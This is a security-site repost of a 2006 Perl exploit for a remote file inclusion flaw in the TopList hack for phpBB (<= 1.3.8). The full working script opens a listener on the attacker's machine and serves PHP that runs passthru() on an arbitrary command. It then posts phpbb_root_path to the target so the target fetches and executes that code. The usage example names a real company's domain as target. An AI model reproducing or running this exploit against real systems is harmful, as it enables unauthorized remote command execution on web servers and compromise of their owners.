首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
TopList <= 1.3.8 (phpBB Hack) Remote Inclusion Exploit
来源:fox_mulder@abv.bg 作者:FOX_MULDER 发布时间:2006-04-29  

# TopList Hack for PHPBB <= 1.3.8 Remote File Inclusion
# Based on http://milw0rm.com/exploits/1722
# Bug found by : [Oo]
#
# No more uploading php shells !!!
# This is my way of php include exploitation !!!
# Learn to play with sockets !!!
# FOX_MULDER (fox_mulder@abv.bg)

#!/usr/bin/perl
use LWP 5.64;
use IO::Socket;
use LWP::Simple;

(my $hostname, my $target, my $dir,my $command) = @ARGV;

if(@ARGV < 4) {
print "=======================================================================+\n";
print "TopList REMOTE COMMAND EXECUTION EXPLOIT by fox_mulder\@abv.bg |\n";
print "Usage: top.pl yourIP target /dir/ \"command\" |\n";
print "Example: top.pl 10.20.30.40 www.microsoft.com /forum/ \"uname -a\" |\n";
print "=======================================================================+\n";
exit;
}
print "[+]Creating listening socket . . .\n";
my $sock = new IO::Socket::INET (
LocalHost => "$hostname",
LocalPort => '9999',
Proto => 'tcp',
Listen => 1,
Reuse => 1,
);
die "Could not create socket: $!\n" unless $sock;

if (my $pid = fork){
my $new_sock = $sock->accept();
my $request = <$new_sock>;
print $new_sock "HTTP/1.1 200 OK\n";
print $new_sock "Content-Length: $content_length\n";
print $new_sock "Content-Type: text/plain\n\n";
print $new_sock "<? error_reporting(0);passthru(\"$command\"); ?>\n";
close $new_sock;
exit;
}
print "[+]Injecting command . . .\n";

my $browser = LWP::UserAgent->new;
$browser->agent('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)');

my $url = "http://$target/$dir/toplist.php";
my $response = $browser->post( $url,
[
'f' => "toplist_top10",
'phpbb_root_path' => "http://$hostname:9999/blah.php"
]
);

die "Received invalid response type", $response->content_type
unless $response->content_type eq 'text/html';

print $response->content;



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·BL4 SMTP Server < 0.1.5 Rem
·Advanced GuestBook <= 2.4.0
·Invision Power Board <= 2.1
·Invision Power Board <= 2.1
·Oracle <= 10g Release 2 (DB
·AWStats <= 6.5 (migrate) Re
·OCE 3121/3122 Printer (parser.
·HiveMail <= 1.3 (addressboo
·Fenice OMS 1.10 (long get requ
·acFTP FTP Server <= 1.4 (US
·Mozilla Firefox <= 1.5.0.2
·TinyFTPD <= 1.4 (USER) Remo
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved